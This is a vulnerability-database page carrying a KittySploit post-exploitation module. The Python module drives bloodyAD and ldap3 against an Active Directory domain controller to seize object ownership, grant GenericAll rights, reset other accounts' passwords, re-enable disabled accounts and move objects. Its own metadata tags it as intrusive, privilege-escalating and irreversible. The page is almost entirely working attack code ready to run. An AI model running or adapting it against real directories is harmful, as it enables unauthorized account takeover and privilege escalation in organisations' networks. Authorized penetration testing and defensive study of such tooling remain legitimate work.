Lucene search
+L

AD Object ACL Operations

🗓️ 29 Jun 2026 19:11:00Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

bloodyAD module performs AD object operations including setting owners and passwords.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import shlex
import shutil
import subprocess

from kittysploit import *

try:
    from ldap3 import ALL, Connection, Server
    LDAP3_AVAILABLE = True
except Exception:
    ALL = Connection = Server = None
    LDAP3_AVAILABLE = False


class Module(Post):
    __info__ = {
        "name": "AD Object ACL Operations",
        "description": "Runs common bloodyAD object/ACL operations: set owner, add GenericAll, move DN, set password, enable account.",
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "tags": ["ad", "ldap", "acl", "bloodyad", "delegation", "post"],
        "references": ["https://github.com/CravateRouge/bloodyAD"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation', 'account_modification', 'privilege_escalation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'db_access', 'from_detail': ''}],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }

    session_id = OptString("", "Session ID (unused; this module runs local AD/LDAP operations)", False, advanced=True)

    bloodyad_binary = OptString("bloodyAD", "bloodyAD executable name/path", True)
    action = OptChoice(
        "writable",
        "Operation: writable,set_owner,add_genericall,move_dn,set_password,enable_account,remove_uac",
        True,
        choices=["writable", "set_owner", "add_genericall", "move_dn", "set_password", "enable_account", "remove_uac"],
    )
    domain = OptString("example.local", "AD domain/FQDN", True)
    host = OptString("", "Domain controller host for --host", True)
    username = OptString("", "Authenticating username", True)
    password = OptString("", "Password; empty when using Kerberos ccache", False)
    kccache = OptString("", "Optional KRB5CCNAME ccache path", False)
    use_kerberos = OptBool(True, "Use Kerberos (-k)", False)
    use_ldaps = OptBool(True, "Use LDAPS (--use-ldaps) where supported", False)
    target_object = OptString("", "Target object DN/name for owner/ACL/password/UAC operations", False)
    principal = OptString("", "Principal to grant owner/GenericAll to", False)
    destination_dn = OptString("", "Destination DN for move_dn", False)
    new_password = OptString("", "New password for set_password", False)
    uac_flag = OptString("ACCOUNTDISABLE", "UAC flag for remove_uac/enable_account", False)
    dry_run = OptBool(False, "Only print the command that would run", False)
    timeout = OptInteger(120, "Command timeout in seconds", False, advanced=True)

    @staticmethod
    def _value(opt) -> str:
        return str(opt.value if hasattr(opt, "value") else opt or "")

    def _bloodyad(self) -> str:
        binary = self._value(self.bloodyad_binary).strip() or "bloodyAD"
        resolved = shutil.which(binary) if os.path.basename(binary) == binary else binary
        if not resolved:
            raise ProcedureError(FailureType.NotFound, f"{binary!r} not found in PATH")
        return resolved

    def _base_argv(self):
        argv = [
            self._bloodyad(),
            "--host",
            self._value(self.host).strip(),
            "-d",
            self._value(self.domain).strip(),
            "-u",
            self._value(self.username).strip()]
        if bool(self.use_kerberos):
            argv.append("-k")
        if self._value(self.password):
            argv.extend(["-p", self._value(self.password)])
        else:
            argv.extend(["-p", ""])
        if bool(self.use_ldaps):
            argv.append("--use-ldaps")
        return argv

    def _build_argv(self):
        action = self._value(self.action).strip()
        target = self._value(self.target_object).strip()
        principal = self._value(self.principal).strip()
        argv = self._base_argv()
        if action == "writable":
            return argv + ["get", "writable", "--detail"]
        if action == "set_owner":
            return argv + ["set", "owner", target, principal]
        if action == "add_genericall":
            return argv + ["add", "genericAll", target, principal]
        if action == "move_dn":
            raise ProcedureError(
                FailureType.ConfigurationError,
                "move_dn uses native LDAP ModifyDN; it is not a bloodyAD command",
            )
        if action == "set_password":
            return argv + ["set", "password", target, self._value(self.new_password)]
        if action in ("enable_account", "remove_uac"):
            return argv + ["remove", "uac", target, "-f", self._value(self.uac_flag).strip() or "ACCOUNTDISABLE"]
        raise ProcedureError(FailureType.ConfigurationError, f"Unsupported action: {action}")

    def _validate(self):
        action = self._value(self.action).strip()
        if action in ("set_owner", "add_genericall") and (not self._value(self.target_object).strip() or not self._value(self.principal).strip()):
            raise ProcedureError(FailureType.ConfigurationError, "target_object and principal are required")
        if action == "move_dn" and (not self._value(self.target_object).strip() or not self._value(self.destination_dn).strip()):
            raise ProcedureError(FailureType.ConfigurationError, "target_object and destination_dn are required")
        if action == "move_dn" and bool(self.use_kerberos):
            raise ProcedureError(FailureType.ConfigurationError, "move_dn currently requires password bind; set use_kerberos=false")
        if action == "set_password" and (not self._value(self.target_object).strip() or not self._value(self.new_password)):
            raise ProcedureError(FailureType.ConfigurationError, "target_object and new_password are required")
        if action in ("enable_account", "remove_uac") and not self._value(self.target_object).strip():
            raise ProcedureError(FailureType.ConfigurationError, "target_object is required")

    def _move_dn_ldap(self):
        if not LDAP3_AVAILABLE:
            raise ProcedureError(FailureType.NotFound, "ldap3 is required for move_dn")
        if not self._value(self.password):
            raise ProcedureError(FailureType.ConfigurationError, "password is required for move_dn LDAP bind")

        target = self._value(self.target_object).strip()
        destination = self._value(self.destination_dn).strip()
        if "," not in target:
            raise ProcedureError(FailureType.ConfigurationError, "target_object must be a full DN for move_dn")
        relative_dn = target.split(",", 1)[0]
        host = self._value(self.host).strip()
        user = self._value(self.username).strip()
        if "\\" not in user and "@" not in user and self._value(self.domain):
            user = f"{self._value(self.domain)}\\{user}"

        print_info(f"LDAP ModifyDN: {target} -> {relative_dn},{destination}")
        if bool(self.dry_run):
            print_warning("dry_run=true; LDAP ModifyDN was not executed")
            return True

        server = Server(host, port=636 if bool(self.use_ldaps) else 389, use_ssl=bool(self.use_ldaps), get_info=ALL)
        conn = Connection(server, user=user, password=self._value(self.password), auto_bind=True)
        ok = conn.modify_dn(target, relative_dn, delete_old_dn=True, new_superior=destination)
        if ok:
            print_success("LDAP ModifyDN completed")
            conn.unbind()
            return True
        print_error(str(conn.result))
        conn.unbind()
        return False

    def run(self):
        self._validate()
        if self._value(self.action).strip() == "move_dn":
            return self._move_dn_ldap()

        argv = self._build_argv()
        env = os.environ.copy()
        if self._value(self.kccache).strip():
            env["KRB5CCNAME"] = self._value(self.kccache).strip()

        printable = " ".join(shlex.quote(x) for x in argv)
        if env.get("KRB5CCNAME"):
            printable = f"KRB5CCNAME={shlex.quote(env['KRB5CCNAME'])} {printable}"
        print_info(printable)
        if bool(self.dry_run):
            print_warning("dry_run=true; command was not executed")
            return True

        try:
            proc = subprocess.run(
                argv,
                env=env,
                capture_output=True,
                text=True,
                timeout=max(int(self.timeout or 120), 1),
                check=False,
            )
        except subprocess.TimeoutExpired:
            print_error("bloodyAD command timed out")
            return False

        output = ((proc.stdout or "") + ("\n" + proc.stderr if proc.stderr else "")).strip()
        if output:
            print_info(output[:20000])
        if proc.returncode == 0:
            print_success("bloodyAD operation completed")
            return True
        print_error(f"bloodyAD exited with status {proc.returncode}")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
2